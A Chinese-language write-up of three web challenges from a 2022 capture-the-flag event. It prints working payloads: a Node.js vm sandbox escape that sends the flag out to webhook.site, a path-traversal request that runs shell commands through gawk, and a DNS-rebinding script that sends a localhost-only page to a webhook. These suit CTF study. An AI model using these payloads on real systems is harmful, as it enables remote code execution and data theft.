Firebird Internal CTF 2022 Writeups

记录一下其中几道题里学到的东西

比赛网址:https://burnt.firebird.sh/challenges


Payload Collector (5 solves)

目标截图
const express = require('express');
const path = require('path');
const vm = require('vm');
const FLAG = require('./flag');

const app = express();

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function(req, res, next) {
	let output = '';
	const code = req.query.code + '';

	if (code) {
		try {
			const result = vm.runInNewContext(`(function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), {timeout:100});
			output = result + '';
			if (output.includes('firebird')) {
				output = 'Error: go away hackers';
			}
		}
		catch (e) {
			output = 'Error: some errors occured';
		}
	}
	else {
		output = 'Error: invalid code';
	}
	res.render('index', {title:'Payload Collector', output});
});

app.get('/source', function(req, res) {
	res.sendFile(path.join(__dirname, 'app.js'));
  });

module.exports = app;

目标是一个Node.js服务,我们输入的代码被放到了vm模块里面运行

const result = vm.runInNewContext(`(function () { return ${code}; /* ${FLAG} */ })()`,Object.create(null), {timeout:100});

目标解法其实很简单,利用Node.js 的特性可以获得当前函数内容

arguments.callee.toString().substr(70)

不过我不熟悉Node.js,解题的时候完全被这个vm吸引走了,于是去找了一堆vm escape的方法。奇怪的是很多教程里的方法都不管用,最后还是在这里找到了一个可用的方法。

最终payload:

new Proxy({}, {
    get: function(me, key) { (arguments.callee.caller.constructor(`
        console.log(process);
        var require = process.mainModule.constructor._load;
        const http = require('http');
        http.get({hostname: 'webhook.site',port: 80,path: '/354c545b-c8c0-4204-9f00-5fe570c0e5d9?a=1',agent: false}); 
        const flag = require('./flag');
        http.get({hostname: 'webhook.site',port: 80,path: "/354c545b-c8c0-4204-9f00-5fe570c0e5d9?a=1"+flag,agent: false}); 
    `))() }
});

简单来说就是字符串里的function会在声明的时候evaluate一次,而且是在global下,所以就是RCE了


Sherver2 (2 solves)

基于这个库的一个web服务器,本身就全是漏洞。目标是RCE,攻击入口在这里

function run_script()
{
	cd 'scripts'
	parse_url "${1:-$REQUEST_URL}"
	local -r script="${URL_BASE:1}"
	# test if file exists, is a file, and is runnable
	if [ ! -e "$script" ] || [ ! -f "$script" ] || [ ! -x "$script" ]; then
		send_error 404
	fi

	"./$script" "${1:-$REQUEST_URL}" || send_error 500
}
export -f run_script

只要知道gawk的使用很容易就可以解出来,payload如下

GET "../usr/bin/gawk?"{system($1)} HTTP/1.1
实际执行

Vulplagiarize (2 solves)

这是一个会帮你将输入网站截屏然后模糊化的服务

@app.route('/flag')
def flag():
    if request.remote_addr == '127.0.0.1':
        return message(FLAG)
    return message("allow only from local")
    
@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/submit', methods=['GET'])
def submit():
    path = 'static/images/%s.png' % uuid.uuid4().hex
    url  = request.args.get('url')
    if url:
        # avoid hackers
        if not url.startswith('http://') and not url.startswith('https://'):
            return message(msg='malformed url')

        # access url
        try:
            driver.get(url)
            data = driver.get_screenshot_as_png()
        except common.exceptions.WebDriverException as e:
            return message(msg=str(e))

        # save result
        img = Image.open(io.BytesIO(data))
        img = img.resize((64,64), resample=Image.BILINEAR)
        img = img.resize((1920,1080), Image.NEAREST)
        img.save(path)
        
        return message(msg=path)
    else:
        return message(msg="url not found :(")

这里需要绕过的就是request.remote_addr == '127.0.0.1'

可以利用DNS rebinding绕过CORS(虽然我没成功)

<script>function x(){
  fetch("http://00000000.xxxxxxxx.rbndr.us:8000/flag").then(e= e.text()).then(e=navigator.sendBeacon("https://webhook.site/<webhook>",e));
  setTimeout("x()",20000);
}
x();</script>

留下评论